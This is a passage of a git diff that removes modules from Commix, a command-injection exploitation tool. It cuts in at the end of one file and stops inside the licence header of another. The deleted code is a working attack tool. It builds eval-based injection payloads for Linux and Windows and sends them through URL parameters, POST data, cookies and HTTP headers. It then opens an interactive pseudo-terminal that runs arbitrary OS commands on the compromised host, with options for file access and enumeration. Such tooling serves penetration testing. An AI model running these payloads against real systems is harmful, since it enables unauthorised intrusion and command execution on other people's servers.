src.core.injections.results_based.techniques.eval_based import eb_file_access - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -The "eval-based" injection technique handler. -""" -def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - for item in range(0, len(settings.EXECUTION_FUNCTIONS)): - settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" - settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.EVAL_PREFIXES: - for suffix in settings.EVAL_SUFFIXES: - for separator in settings.EVAL_SEPARATORS: - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = eb_payloads.decision(separator, TAG, randv1, randv2) - - # suffix = _urllib.parse.quote(suffix) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" +")}", ")" + ")}") - #payload = payload + TAG + "" - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(" ", "%20") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - found_cookie_injection = False - # Check if target host is vulnerable. - response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate test results. - shell = eb_injector.injection_test_results(response, TAG, randvcalc) - time.sleep(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) - - if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # The main command injection exploitation. - time.sleep(timesec) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or\ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if shell != "": - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py deleted file mode 100755 index 013810fbf0..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ /dev/null @@ -1,260 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -import time -import json -import string -import random -from src.utils import menu -from src.utils import settings -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_payloads - -""" -The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request - response = requests.get_request_response(request) - - return response, vuln_parameter - -""" -Evaluate test results. -""" -def injection_test_results(response, TAG, randvcalc): - if response == False: - return False - else: - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", " ", html_data) - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data) - else: - shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data) - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) - -""" -The main command injection exploitation. -""" -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - payload = eb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - # Fixation for specific payload. - if ")%3B" + _urllib.parse.quote(")}") in payload: - payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") - raise SystemExit() - - return response - -""" -Command execution results. -""" -def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", new_line, html_data) - shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) - try: - shell = shell[0].replace(new_line, "\n").rstrip().lstrip() - except IndexError: - pass - return shell - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py deleted file mode 100755 index 2beabfab44..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ /dev/null @@ -1,240 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.utils import settings - -""" -The dynamic code evaluation (aka eval-based) technique. -The available "eval-based" payloads. -""" - -""" -eval-based decision payload (check if host is vulnerable). -""" -def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p =%i < nul`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p =%i < nul" + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - - else: - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo $((" + str(randv1) + "%2B" + str(randv2) + "))`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo $((" + str(randv1) + "%2B" + str(randv2) + "))" + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator +python_payload + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - - else: - python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" - if settings.SKIP_CALC: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "` " + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" + - separator - ) - else: - payload = ("print(`echo " + TAG + - separator +python_payload + - separator + "echo " + TAG + - separator + "echo " + TAG + "`)%3B" - ) - - return payload - -""" -Execute shell commands on vulnerable host. -""" -def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": - cmd = ( "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - cmd + - "') do @set /p =%i < nul" - ) - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "` cmd /c " + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + " cmd /c " + cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) - - return payload - -""" -__Warning__: The alternative shells are still experimental. -""" -def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": - if settings.REVERSE_TCP: - payload = (separator +cmd + " " - ) - else: - python_payload = ("for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + - "') do @set /p =%i < nul" - ) - - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator + " cmd /c " + python_payload + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) - else: - if separator == "": - payload = ("print(`echo " + TAG + "`." + - "`echo " + TAG + "`." + - "`" + cmd + "`." + - "`echo " + TAG + "`." + - "`echo " + TAG + "`)" - ) - else: - payload = ("print(`echo '" + TAG + "'" + - separator + "echo '" + TAG + "'" + - separator +cmd + - separator + "echo '" + TAG + "'" + - separator + "echo '" + TAG + "'`)%3B" - ) - return payload - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/semiblind/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/semiblind/techniques/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py deleted file mode 100755 index 3c45321493..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ /dev/null @@ -1,569 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software 